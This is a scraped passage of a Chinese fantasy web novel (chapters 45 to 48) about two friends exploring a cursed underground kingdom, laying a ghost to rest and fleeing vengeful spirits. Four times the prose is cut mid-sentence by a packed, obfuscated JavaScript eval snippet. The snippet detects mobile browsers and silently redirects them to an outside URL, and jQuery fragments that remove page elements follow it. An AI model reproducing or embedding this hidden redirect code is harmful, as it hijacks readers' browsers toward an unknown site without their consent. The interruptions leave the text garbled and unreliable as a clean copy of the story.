;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366986|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平从背包中摸出小册子,翻到其中一页,照着图上的样子比出个手势:“我试试啊……”她清了清嗓子,郑重地读出驱散妖邪的口诀。王清虞期待地看着那个小姑娘,但很快又丧了气:“没用啊。”
那位小鬼魂不仅没有被“请走”,甚至开始在这间宽敞的面包作坊里散起步来。
她走路的方式很独特,首先像人一样迈出其中一只脚,接着整个人便像站在传送带上一样直直地向前滑行一段距离,再收回后脚。原地停顿几秒后,继续迈出另一只脚。在平移滑动的过程中,身体是保持着僵直的姿势一动不动的,整个过程充满了节奏感,看起来既优雅,又诡异。
“她在干嘛?”王清虞欣赏了一圈鬼魂华尔兹,情绪已不再紧张。
林千平看着她从案桌走到窑炉、又走到放面包的木架子前,不确定地分析道:“在……做面包?”
说是“做”面包,实际也不太准确。她只是站在每样东西前短短地发一会儿呆,再幽幽地走到下一个预定地点。没有揉面的动作、没有拿起工具的意向,她的两条胳膊甚至从未抬起过,就这样沉默而僵硬地在房间里为两位客人展示着自己曾经的生活。
窗外再次炸出一声巨响,声音似乎离得很远。
“刚才我就想问了,到底什么动静这么大?”王清虞凑到窗前,想要分辨一下声源的方向。
“所以这就是你们要救的‘人’吗?!”克罗斯抵挡着疯狂的树精藤蔓,走在背着一具尸体的布恩前面,替他开路撤退。
“走快点,莱丽莎还在里面!”布恩单手护着背上的伯德林,胸前挂着背包,一手挥舞着宝剑砍断飞来的树藤,拼命弯着腰不让已经失去体温的同伴从身上滑落。
“另一个也?!”克罗斯难以置信地大叫道:“他这么厉害你们怎么还死了这么多人?!”
他们俩此时位于战斗的边缘位置,马上就能逃出树藤的攻击范围。那名连护甲都没穿的法师阿米提亚正在前方独自面对着被激怒的树精本体,火球术和不要钱一样往里面砸,光是消耗巨大的高等级魔法就发动了两次,也不知道还能再拖延多久。
克罗斯和布恩把那具尸体安置在相对安全的建筑旁,转头又奔向那片弥漫着尘土和火焰的树林。
“你们……加钱啊!双倍!”克罗斯咬着牙冲到阿米提亚身旁,砍死一只想要偷袭的树精仆从,接着愤愤不平地朝雇主们喊出自己的要求。
“莱丽莎!”树精的某株藤蔓上终于出现了同伴的身影,布恩从缠斗中脱身,飞扑而去,一把抓住了那女孩无力下垂着的胳膊。
又是一声巨响,王清虞来到窗边,从建筑间的缝隙中看去,远处再次冒起黑灰色的浓烟。
林千平正在这间卧室的木床上休息,并未因爆炸声而苏醒。她躺在光秃秃的床架上,整个人被裹在睡袋里,神情看起来不算安稳。房间的角落里站着那位幽灵姑娘,整间主卧此时只有王清虞还能发出点声音。
“哎……”她轻微而疲惫的叹气声在这不大的房间里似乎都有了回声:“可别再出什么乱子了……”
45.西幻
林千平在面包房的砖地上呆坐着。她两腿伸直大开,身体向后倾斜,重量全压在胳膊上,是个洒脱而占地方的坐姿。周围有三、四位面包师傅正在忙碌,那个十岁的鬼魂女孩也在。所有人都目不斜视地忙着自己的活计,偶尔会踩过林千平的手脚去到房间的另一端。
看着这些人的脚穿过自己的大腿、手掌,甚至是脑袋和肚皮,林千平总想不合时宜地大笑起来。
有点儿痒,她想。
这大约是在做梦,她还记得王清虞是怎么帮她铺好睡袋、怎么替她脱下鞋子和外套、怎么催促她赶紧躺下的。她头脑发昏,眼皮沉重,再睁眼就又回到了楼下的大房间。
日有所思,夜有所梦。原来她一直在想的是这个房间吗?林千平默默思考着。
“这不是做梦。”一个有些磕巴的、带着奇怪口音的童声自内间门口传来。
林千平转头去看,那个女孩仍像幽灵一样保持着半透明的身体,滑着步子走到她身边。
“我不知道是什么,不是做梦。”她的通用语说得不很流利,但还算能表达清楚自己的意思。
“我是多琳。我不想,这样了……”
那张麻木呆滞的脸上出现个悲伤的表情,一双灰暗的眼睛中满溢出浓稠的绝望。
“……什么意思?”林千平看着她,短促地问道。
克罗斯瘫坐在地上,手掌和那位“莱丽莎”的脚碰到了一块儿。
“@#?!”他低声骂了句脏话,朝同样脱力躺在地上的阿米提亚半带着怨气地开起玩笑:“准备怎么支付酬金啊?我们的大魔法家?”
阿米提亚整齐的长袍上多出了不少破洞,手上的长棍还有些烧焦的痕迹。也许是因为同伴们的身体都被救了出来,他不再斥责克罗斯冒犯的调侃,好脾气地回复道:“黄金,出去再说。”
布恩看起来还有些力气,他挪到两位已经没有声息的同伴身边,用手轻轻擦拭着他们面庞上干涸的血迹。
“带他们出去有用吗?死好几天了,魂儿都没了。”这座地下城无法复活的缘由之一,就在于逝者的灵魂会随时间流逝逐渐被不知名的力量所吞噬。时间一长,即使回到地面再使用复生法术也无济于事。缺少灵魂的□□在城中会很快破碎腐烂,最终变成大街上游荡着的骷髅怪物。
伯德斯的眼睛还惊恐地大睁着,布恩用手指轻轻按下他的眼皮,声音里带着些犹疑:“阿亚以前是主教身边的助手,他有办法的。”
克罗斯像是发现新大陆般“嘿!”了一声,随后又想起什么似的向着还躺在地上喘气的法师问道:“那两个女孩呢?厉害吗?”
他看得出来那是两个初入地下城的愣头青,说不定还是第一次出来冒险。不过克罗斯有一种特殊的能力,他从未向外人提起过:只要遇见拥有强大魔法能力的人,他的左眼眶就会隐隐作痛,要持续好一段时间才会逐渐消失。
那两个姑娘跟在他们后面时,他半边脑壳都在突突发疼。
“什么女孩?”阿米提亚微合着眼,胸膛仍在快速起伏。
“跟着我们的那个。”
这位人族法师回忆了一会儿,懒懒地说道:“菜鸟,身上的挎包是教会学校的统一制品,只有刚出校门的小毕业生才会天天背着他们的教科书。”
“挎包?”克罗斯纳闷地回道:“法师不是另一个拿剑的吗?”
面包坊的院子里靠墙堆着不少柴火,林千平挑了几块趁手的木头,塞进凭空燃着火焰的窑炉内。
王清虞正在一旁吃着“晚餐”——至少她的肚子是这么告诉她的。林千平在那巨大的爆炸声后不久便醒了过来,面色看起来甚至比睡觉之前更差几分。她声称自己在梦中了解了一些地下城过去的历史,只是首先得做一件要紧的事才行。王清虞看着她埋头研读那本薄书的侧脸,担忧地问道:“你说的超度……这个,这位小姑娘,会对你身体有伤害吗?”
林千平觉得自己睡过一觉后精神倒还好,只是身体没有往常那么有活力,总有些虚软。她又仔细阅读了一遍这本小册子上的注意事项,语气肯定地安慰着好友:“这种仪式不会有损害,符箓倒是确实会消耗身体里的灵气……哎,书还是得多看啊。”
两人真不愧是好朋友,连踩坑都要亲亲爱爱地踩到同一个坑里。王清虞无言地咀嚼着肉干,看着林千平扒拉出柴火灰,又挑出烧成炭状的木棍,扔在地上等待降温。
屋子里没有能在地上写画的材料,只能这么凑合着用了。林千平费力地用草木灰和不怎么显色的炭块在地上画出一圈图案,这是那本小书尾页上简单提及的阵法之一,配合上经文念诵,可以有效地渡化亡灵、慰藉死者。
做完这一切,她招呼着让那个女孩站到法阵中间:“来吧多琳,我们来试试。”
多琳的面前点着两只黄白色的蜡烛,一些干粮被摆放在旁边。她面无表情,双眼暗淡,只有眼珠子在跟着林千平的动作四下转动着。
王清虞和一堆行李被放到了角落,她收拾好吃剩的食物,理了理衣物和仪表,神情肃穆地注视着这场稍显简陋的法会。
经文很长,有些词语也很绕口,林千平念得很慢,尽量让自己发音清晰且正确。她对现在所做的一切并没有太大把握,只是多琳在梦中悲伤而麻木的表情实在令她无法坐视不理。
象栗,也才十岁……
林千平读完最后一句经文,恍惚地与多琳对上视线。一人一鬼的神情中,全都写满希冀和迷茫。有那么几秒钟,或是几分钟里,整间屋子甚至听不见人类的呼吸声。不知疲倦的巡逻士兵们在隔壁街走过,铠甲的摩擦声似乎都传到了这里。
地面上线条或深或浅的阵法图案突然亮起,和煦的微风不知从何处刮来,拂动了多琳垂在颊边的碎发。王清虞讶然地捂住嘴,惊喜地看着灰白色的幽灵逐渐染上色彩。
她有一头漂亮的亚麻色长发,一身棉白裙子,裙面上是橙黄色的小鹿们。
林千平双眸闪动,含着薄泪看向那双琥珀色的剔透眼睛,她看到多琳长着可爱雀斑的脸上绽开一道无比灿烂的笑容,女孩僵硬的肢体变得活泼灵动,正在挥手向两人告别。
聚光灯一般的光亮骤然消失,就像它的来时一样令人猝不及防。多琳的身影也消失不见,地上只剩下烧了半截的蜡烛和纹丝未动的干粮。
王清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377696|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虞小跑过来,熄灭了蜡烛,又把食物包好,她一边收拾着物资,一边由衷地感叹:“居然真的成功了!这阵法真厉害,改天我也再翻翻书,指不定……”
她抱着食物直起身,发现林千平还杵在原地一动不动地摸着自己的心口发呆,闲聊的话头就此掐灭,王清虞不确定地抓着好友的胳膊晃了晃:“你怎么了?没事儿吧?你别吓……”
“我好像有力气了。”林千平惊喜地抬头看她。
王清虞溜到嘴边的担心呆滞地化成一个简单的“哦”字。
“哇全身好畅快!头脑好清晰啊!”林千平像个充满电的遥控车一样在屋子里来回打转:“感觉可以出门跑个5公里!”
这会儿应该是到休息的时间了,王清虞疲惫地看着活蹦乱跳的林千平,只觉得自己真得去好好睡上一觉了。
克罗斯背着一具尸体,或者说也——可以称之为自己的雇主之一,跟着布恩终于走到了城门口。他的双手剑被阿米提亚扛着,磨磨唧唧地落在后面。两人停下脚步回头等他,克罗斯看着不远处逐渐蔓延的大火,带着些幸灾乐祸地说道:“还留在里头的可糟咯。”
阿米提亚以为他又在讽刺自己火烧树林的行为,扛着剑快步经过他身边,故意让剑尖擦着克罗斯的眼前划过:“过几天不就复原了吗?再让我听到你对我们的事指手画脚,这辈子都别想要酬金了!”
布恩用一种“你又惹他干嘛”的眼神看了一眼克罗斯,抱着莱丽莎也出了大门。克罗斯最后远眺了一会儿那片熊熊燃烧着的火焰,朝空气摆出个爱莫能助的表情,同样消失在城门外。
在他们离开不久后,大火依然不断由那片树林向外扩张,当火焰吞噬了全城三分之一的建筑时,唯一开着口的城门忽然沉重地合上了。肆意燃烧着的火苗如雨水般蒸发在空气中,焦黑的房屋残渣褪去烟灰,开始逐渐自我修复缺口。
“清虞!清虞!”林千平轻声呼唤着王清虞的名字,她刚睡下还没多久,正是难醒的时候。
“王大力!王大力!”林千平换了个称呼凑到她耳朵旁边催命似的念着,王清虞伸出胳膊赏了这位蚊子一个结实的肘击,忽地裹着睡袋像只毛毛虫一样坐起身,费力地睁开眼:“我醒着呢!”
林千平揉着胸口,提来她的背包,行李都已打包好,就差她身下的睡袋了:“城里着火了,咱们得赶紧离开……”
等到二人用最快的速度赶到城门附近时,大火早已熄灭,那扇沉重的大门也紧紧地关着。
“完了,开始自动复原了……”王清虞撑着膝盖在角落大喘特喘,她们刚甩开一小群没被大火波及的骷髅,离城门不过二百来米。
“不知道房子烧得多不多……要是太多了估计得关个三五天的……”这种情况她在地图上留意到了,此时也不知是该庆幸认真读书果真有用,还是该为知识指导不了实践而垂头叹息。
她们只带了三天干粮,现在要是能去还完好的水源处守着,光喝水应该也能撑到门开。
林千平嗅着空气中灼热的烟尘气味,将目光投向远处高高耸立着的国王城堡:“我想试试……我觉得我好像知道要怎么穿过怨灵区了。”
46.西幻
那张破地图别的信息写得马虎,购物信息倒是标得十分清晰。王清虞举着地图走在前面,带着林千平连转了好几个物资售卖处,全都扑了个空。
“生意不好做啊。”两人像是来旅行的游客一般,对当地的经济情况摇头晃脑地感叹起来。最后一个地点离得有点远,在工坊区背后靠近怨灵聚集地的某栋房子里,为了缓解王清虞不自觉流露出来的焦虑情绪,林千平在路上讲起了自己从多琳口中得知的信息。
她的国家名叫“温特兰”,是个靠近大陆西北边缘的小国,这里是她们的王城路维缇。国王是碧温斯?卢维斯特,是位勤政亲和、深受国民喜爱的统治者。
多琳的通用语就是在碧温斯特别设立的免费学校里学到的。课堂上经常可以看到许多不同年龄段的人们坐在一起,学习文字、地理、生活常识、还有简单的数学。
“再没有陛下,再没有温特兰。”多琳这么说道。这座城池陷落地下的缘由,并不是那场令人悲痛的大火,而是源自于一场毫无还手之力的战斗。
“有火、有闪电、大水、冰块……全都飞在天上,全都落到城里。”多琳语无伦次地描述着她所见到的惨状:“爸爸在外面,妈妈和温迪和我在柜子里……声音很响,什么都没有了……”她最后的记忆只停留在震耳欲聋的爆炸声中,随后就是长达数百年的黑暗与麻木。
亲人的灵魂逐渐从身边消失,先是母亲、舅舅、父亲,最后是姐姐温迪。多琳走不出房子,只能在空荡荡的家里看着一个又一个冒险者进门落脚、偷东西、睡觉、离开。有人能看到她,有人不能。有人试图净化或驱逐她,但都以失败告终。
幽灵感觉不到温度,可多琳一直觉得好冷,内脏像冰砖一样挂在肚子里,坠得后背发疼。她冻得全身僵硬,甚至无法蹲下身来抱住自己取暖。房子里只有那些鬼火一般凭空燃烧的火焰永远陪伴着她,却又无时无刻不让她感受到恐惧。直到那一天,两个菜鸟冒险者跑进了工坊。
故事到这里就结束了,她们也正好走到那间偏僻的屋子前。王清虞仔细分辨着小路,带着林千平来到一处地窖的活板门边,悄声但郑重地做了总结:“你让她好好回家了。”她拍拍林千平的肩膀:“干得不错,道长!”接着弯下腰,在那道安在地面的木门上敲了两下。
“谁?”门内一阵杂乱的脚步声后,一道清亮的声音传来。
林千平和王清虞对视一眼,蹲下身冲着门说道:“我们想买食物,最好,呃……七天的量?”她不确定地看着王清虞所比的手势,报了个略大的数字。
“几个人?”那声音平静无波,没什么情绪起伏。
“两个人。”林千平答道。
“28银。”
“这么贵?!”王清虞掏钱的手顿住了。
门里安静了一会儿,随后又传来声响:“26,不能再低。”
“行吧。”王清虞掏出银币数了数,放进从那门缝伸出的一只铁杯里。她谨慎地按住了杯子,不让绳索把它拖回去:“东西呢?”
门缝被啪地关上了,里面传出窸窸窣窣的响动,不久后便从门里丢出两袋褪色旧布包裹着的食物。趁王清虞注意力被引开,一只皮肤惨白的手迅速抢过铁杯,活板门猛地合上,又咔哒一声被锁好。
王清虞手抓了个空,还差点被门夹到,气得顺手锤了一把木门,隐约听见门后似乎还加装了一层金属隔板。
“行啦,东西没问题。”林千平拎起包裹,示意她往前带路。王清虞撇着嘴打开地图,转身时还蹬了两脚泥到那门上:“啧,奸商!”
最近的落脚点就在不远处的民居里。这片区域骷髅很少,林千平故意挑着大路走,如愿“捡到”了一些大块的碎布条。王清虞收好知识的力量,好奇地问她:“你要这些破布干嘛?”
“做护身符啊。”林千平喜滋滋拎起布条,神清气爽地抬脚往住处走。
这回借住的房子比面包坊小了不少,窄窄的厨房里也没多少柴火,林千平动手劈开一些破木板,把它们都垒在后院,想用堆烧法做一些炭条出来。
现在也许是清晨的时间,王清虞没睡多久就被叫起来逃命,又穿了半个城到处去找人买吃的,早已累得不行,此刻正在厨房里睡觉。林千平坐在院子里,一抬头就能看见她。
说是院子,其实也就只是房外的一小块空地罢了。房子的主人大约擅长侍弄植物,周围养着一圈形状漂亮的矮灌木,正好能遮挡住林千平的身影。
她精力充沛,不困也不饿,送走多琳以后,这种奇异的身体状态一直持续到了现在。林千平低头研读着小书,从未感到头脑如此清晰活跃,曾经晦涩难懂的咒语也都能立刻理解出当中内含的深意。
或许所谓的灵气,可以通过超度亡灵来补充……那如果超度怨灵呢?是会变得更强大,还是会因为近距离接触而被附身?
书里没有解释,只是提到了两种威力不同的超度阵法。林千平对着那几页薄薄的纸翻看了好多遍,最终在两份布条上画下了更强的那一种。
她念诵着经文,捏着炭条一笔一笔地描绘着图案,直到最后一笔落下,经文也恰好念完。王清虞吃着干果,站在门口已经看了好一会儿热闹。林千平这时才刚注意到她:“醒了?不再睡会儿吗?”
“我睡挺久了啊。”王清虞递给她一块夹着乳酪的黑面包,歪头看着地上的布条:“你默画的吗,好厉害……”
林千平并不很饿,慢条斯理地一点点啃着面包:“等会儿我就去试试。”
“什么意思?怎么试?”王清虞诧异地扭过脸问道。
“去……找个落单的怨灵……试试?”林千平有些心虚,声音逐渐弱了下去。
“你用什……你自己试?不是……”王清虞难以置信地瞪大眼,气得话都说不清了,原地转着走了几圈,一屁股坐倒在地上,准备说服自己冷静下来思考现状。
“这是唯一的办法吗?”她正视着林千平的眼睛,这代表着两人必须诚实而严肃地进行谈话。
“也许是,至少现在是……”林千平回望着她。
“我们必须现在做吗?”
“不是。”回答得很肯定。
“这有用吗?”
“我有些把握……不,我的确有把握。”不太清晰的一句回应。
“……最后一个问题,你真的想要这么做吗?”
“我有预感,这应该……”林千平停顿几秒,重新作答:“是的,我想。”
王清虞不再紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386394|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绷着脸,静静地盯着她看了一会儿,又低头盯着那些复杂的图案发起呆。
就在林千平想要提些其他办法的时候,她复又抬起头,神情笃定地说道:“那我也去。”
“那里那里,亮蓝色,还怪好看咧。”王清虞胸前绑着布条,身后的背包上牢牢系着另一条样式相同的碎布,正从拐角处偷偷摸摸地伸头往外看。
离她们几百米远的地方,恰好就有一只怨灵在散落着碎石的空旷废墟里发呆。它的身体呈现出一种饱和度极高的浅蓝色,透明程度比多琳要高上许多,周身似乎还浮动着某种气体,使得身旁的环境看起来都像在微微扭曲。
林千平远远丢出一块石头,试图引起它的注意。
那只怨灵转过头来,露出侧面少了一半的脑袋,仅剩的一只眼睛敏锐地捕捉到了那两只送上门的猎物,它全身板正地直立着,忽忽悠悠地飘了过来。
王清虞一缩脑袋,撒开腿就往回跑:“来了!”
怨灵的移动速度很快,但不会离开自己的死亡地点太远,当它准备转身回头的时候,两人便加速追了回去,试图用单独拿在手里的布条接触它的身体。
王清虞的背包更轻一些,她跑在前面,把布条裹在短刀上,伸长手朝着那只高瘦的怨灵猛地挥去。一阵刺眼的白光从那被劈砍到的腰部绽开,它似乎痛苦地发出了一声无法听闻的嚎叫,随即便像一缕轻烟般消散在了空中。
“成了!”王清虞兴奋地大叫,停在路面上转身去寻林千平。
这一转头,却让她的笑容立时被惊恐所取代:“完了。”
只见身后的街巷路口不知何时出现了十好几只虎视眈眈盯着她们的怨灵,林千平正拿着布条,谨慎地观察着它们的动作。
两人与这群呈现出包围姿态的怨灵们僵持了一小会儿,正对着她们的一名矮个子妇女突然飞快地冲向了林千平,随着她的动作,其他怨灵就像得到冲锋号令一般,也纷纷朝着二人袭来。
林千平冲到王清虞身边,抓着她的手就要往隔壁街奔逃。但不知为何,那些怨灵似乎总能出现在这片区域的边缘围追堵截,好像这片区域就是它们为了吸引猎物而来,所特意制造出的隐形包围圈。
她们在大街小巷里不停寻找着出路,像两只无头苍蝇一样晕头转向地到处乱撞,最终却又被其他怨灵逼回那条主街。林千平远眺着街道尽头的山门,那里守卫着的士兵似乎不在岗位,她们现在距离那道门不过短短几百米,街面上也没有其他怨灵的身影。似乎只要一鼓作气逃到门后,就能彻底摆脱现在的棘手状况。
她喘着粗气,又拉回王清虞的手,扯着嗓子问道:“你看过迪迦吗?”
“什么?没有!”王清虞跑在她旁边,显然被这个问题噎了一下:“你现在提这个干嘛?!”
“那就记得接上我说的话!”林千平大声呼喊着,带着她猛地冲向那片废墟。
一路上的建筑从完好的正常房屋,逐渐转变为七零八落的断壁残垣,四周的怨灵像被点亮的彩灯一般,随着她们向前的脚步一片片地亮起。主街面上顿时出现许多聚集着的亮蓝色身影,打眼看去好似一片美丽而诱人的玻璃海面。
两人越跑越快,一头扎进了这汪飘在空中的海水里。
47.西幻
在接触到怨灵的一瞬间,亮白的光芒便从那些肮脏破旧的布条上射出,照得人几乎睁不开眼。林千平紧握着王清虞的手,只觉得自己像是撞进了一个巨大而冰凉的凝胶果冻里,四周传来令人窒息的压迫感。两人奔跑的速度明显慢了下来,似乎连呼吸都不再顺畅。
“王清虞你在吗?!”她用尽力气大喊出声,听在自己耳朵里却仍和正常说话的音量差不多大。
“我在……”声音不大,但就在附近。
林千平眯着眼看路,继续喊出暗号:“奇变偶不变!”
“符号,符号看象限——”
“今年过节不收礼——”
“收礼只收……你换个短点的!”
山口越来越近,二人周身的光亮也开始逐渐减弱,林千平咬牙加快速度,不忘一字一顿地挤出三个字:“苟!富!贵!”
“勿!相!忘!”声音听起来还挺乐在其中似的。
“呃……人是铁!”还有三百米。
“饭!是!钢!”
二百米。
“一顿不吃!”
“饿!得!慌!”
五十米!
“凉风!有信!”林千平喊出最后一个暗号,挣动着全身大步向前,终于感觉周围的空气似乎流通了起来。山门就在眼前,看起来好像还被打开了一个小口。由于突然回到了正常的物理空间,巨大的惯性使得两人猛扑在地,骨碌碌翻滚了好几圈才停下。
“秋月……无边。”王清虞累得快背过气去,脑子还没跟上现状,身体就挣扎着从地上爬起来继续往前要跑。
林千平正面躺在地上,恰好面对着来时的大路。她揪住王清虞的裤腿,喘着气断断续续地提醒道:“等一下……它们没追,过来。”
王清虞木然地回头看了一眼,扑通一声把自己扔在地上,像只翻不过身的乌龟一样任由背包被压在身下,向后别扭地曲着腰就这么仰躺着喘气。林千平手脚发麻,却还是强撑着站起身,拉起王清虞要她脱了背包跟着自己慢慢走一会儿。
围着行李散了几圈步,两人躲到城墙边坐下,心有余悸地看着那些还“亮着灯”的怨灵们。
“它们居然会隐身?怎么没人提过这回事啊?”王清虞解下胸前已经烧穿了的阵法布条,纳闷地抱怨着。
“也许是,进化了?”林千平回忆着刚才被围堵驱赶的情景,分析起它们的行为动机:“好像在预谋犯罪一样,等着人上钩。”
“我们刚才为什么不干掉几个守门的,从边缘出去呢?”王清虞也发现了不对劲的地方,疑惑地说道:“我感觉脑袋挺清醒的,怎么跑着跑着就回来了……”
“精神污染吗?”林千平随口说着,转头打量起不远处的山门。
“好像有人来过。”她示意王清虞去看。
城墙和大门周围有一些利器攻击所留下的划痕,地面上还有雷击过的焦黑痕迹。
王清虞伸头看了两眼,心中有种不详的预感,她和林千平对上视线,说出彼此最不愿见到的情况:“不会有人先通关了吧?”
“应该……还没有?”林千平不确定地回答道:“总得有个提示吧?任务失败的弹窗之类的。”
两人顿时坐不住了,等到身体恢复行动能力后便立刻背上行囊,小心翼翼地穿过了这道通往未知的大门。
门后是一道宽敞的山路,足够让两辆马车并肩而行。虽然是上山的路,但向上倾斜的角度并不大,行走起来不会太过困难。道路两旁耸立着两道高大厚实的石头城墙,顶部间或安装着一些照明火盆。脚下的地面整齐铺着与墙同色的石砖,头顶是毫无光亮和空间感的黑暗,走在这条令人压抑的路上,就像是走在一道紧紧关闭着的抽屉里一样。
四周静得可怕,城墙上没有守卫,只有盆里的火焰无声无息地燃烧着。这里没有风,没有阳光,也没有其他任何活着的生命。
两个孤独的冒险者一前一后地走着,谁也没有开口说话。不知道她们是太过劳累而无心闲聊,还是全都默契地在心中悄悄和自我告别。这是大战来临前的宁静,也是直面命运宣判前的喘息。或许此时的确是一次绝佳的好机会,令两位亲密无间的好友可以把这份短暂的沉静时间,留给自己。
“门开着。”走在前面的林千平轻轻地说道。
她们已沿着山路走到尽头,眼前的大门和入口处的样式相同,甚至也同样开着一道缝隙。
王清虞两步走到她身边,抬头仰望着大门。其实倒也有些不同,这扇门的顶部挂着一个金属制的漂亮纹章,圆形银盘里雕刻着一只镀金的小鸟,身体修长优雅,正抬着头似是在高声鸣叫。
林千平侧过身从门缝里小心地观察着情况。她看见一套铠甲散落在不远处的地面上,头盔顶部还有雷击过的痕迹。门后有一片草地,周围低矮的灯柱上安放着夜明石,使得院子里的其他植物都泛着幽幽的蓝光。院内静悄悄的,没有铠甲摩擦碰撞的声音,林千平半边身子穿过门缝,里面的确空无一“人”。
她们沿着院墙边走上草坪,城堡的正门牢牢关着,不像是有人打开过的样子。那么那些捷足先登的人又去哪儿了呢?包围着城堡的院子里只种着不高的小树和花草,并没有什么高大的树木可供潜入屋内。林千平环顾四周,决定先在外面找找有没有其他入口。
绕着城堡步行了一会儿,便来到了这栋建筑的侧面。整齐的草地在此被石头小径与一片美丽的花田相隔开来,这里种着一片娇艳的红色银莲花,全都齐齐大开着。花蕊在昏暗的光照下像一只只无神的眼睛,凌厉地瞪视着闯入花园的人们。
林千平率先走上鹅卵石小径,她先是静立几秒,复又前后移动两步,最后选择停在原地,没有要继续前进的意思。
“这光线太诡异了。”王清虞心里毛毛的,咕哝着站在她旁边。
这条普通的石头小路就像是现实与梦境的分界线,王清虞甫一站稳,便惊讶地发现头顶上竟出现了久违的蓝天与阳光。面前的银莲花开得正好,鲜艳而热烈的红色花朵甚至还在微风中轻轻摇动。
林千平微张着嘴,面上同样带着惊异,她示意王清虞往前看去。那花海中正坐着两位举止端庄的女士,其中一位有着一头宛如银帘般的柔顺长发,阳光下微微反着亮光,耀眼而夺目。而更令人眼前一亮的则是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392656|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那银发中,隐约露出的两只尖尖的长耳朵。
“精灵!”王清虞轻呼出声,又下意识地捂住嘴巴。这举动实属有些多余,她们能感觉到,这些人实际上并不能看到自己。
林千平大胆地走近观察着两人,她们正在喝茶,身后还站着几个佣人。等凑到桌边,她才发现精灵的眼睛正是纯净无比的金色。她的眼中含着柔润的水波,好似黄水晶一般剔透莹亮。
另一位人类女士则有着一双锐利的绿色眼睛,她的长发漆黑如墨,带着些微卷曲的弧度半挽在脑后。
寂静很是持续了一阵子,王清虞好奇地玩着用手穿过桌子的游戏,不时抬起头饶有兴致地欣赏着风景。
“就像回家了一样。”精灵开口说话了,她的通用语十分流利,声音更像是山泉般宜人动听:“谢谢你,碧温斯。”她朝着身旁的女人露出个微笑,手指在茶碟的边缘一下一下地轻敲着。
林千平飞快地和王清虞交换了个眼神,原来那位人类女子便是这个国家年轻的统治者。
碧温斯看起来只有三十岁左右,举止优雅规矩,即使是和好友在花园里喝茶放松的休闲时光,她的脊背也挺得笔直。
“你喜欢就好。”碧温斯说着话,脸上泛出些愉快的红晕,她拾起茶杯喝了一口茶水,试图掩盖住自己的情绪。精灵专注而温柔地看着她,笑容随着她不自然的动作越发浓烈。这位银月般的女子缓缓起身离开了座位,她来到碧温斯身边,自然而亲昵地侧坐到对方腿上。
王清虞看着两人逐渐靠近的脸颊,激动地猛摇着林千平的胳膊:“你快看你快看你快看啊啊啊啊啊啊!!”
“我没瞎我没瞎!”林千平两手挥舞着打开她的攻击,脸上同样挂着见证美好爱情的八卦笑容。
两位甜蜜的恋人亲热地腻歪了一会儿,精灵带着满足的笑意回到自己的位置上,她理了理弄乱的衣摆,神情自若地继续品味着爱人单纯而羞涩的反应。
国王欲盖弥彰般清了清嗓子,抚抚散落下的发丝,又叠好了翻开的衣领,脸上始终挂着不自觉的微笑和淡淡的粉色红晕。她尽力摆出个郑重而庄严的姿态,但当望向精灵时,端庄的笑容却又变得有些傻气:“米维,我觉得……”
“碧温斯。”精灵语气平淡,静静地看着她,那张漂亮饱满的嘴唇里吐出令人伤心的话语:“我要走了。”
碧温斯尚未说出的心意随着这句话消失在风里,一切景物都开始扭曲模糊。林千平没能继续看清她们的表情,只勉强听得最后一句叹息般的低语:“或许会很久……但我一定会回来的。”
充满色彩和阳光的美景霎时被乏味的黑夜所取代,两位偶然窥得秘辛的闯入者站在花丛中,似是还未从那些情绪里回到现实。
“哇哦,哇——啊哦!”王清虞夸张地发出感叹,摆出个吃到大瓜的惊讶表情:“她俩好甜啊……”旋即又啪地止住话头:“啊,完了,这是个be来的。”
林千平把视线投向窗口处全都透着光亮的寂静城堡,带着些疑惑地说道:“温特兰已经亡国百年,难道国王还活着吗?”
“否则,又是谁雇我们来取雕像的呢?”
48.西幻
王清虞随着林千平的视线同样看向城堡,她若有所思地点点头,随后很快又把这个无关紧要的问题抛在脑后:“随便谁都行啦,只要能给我1000金币,百年老僵尸我都得谢谢她!”
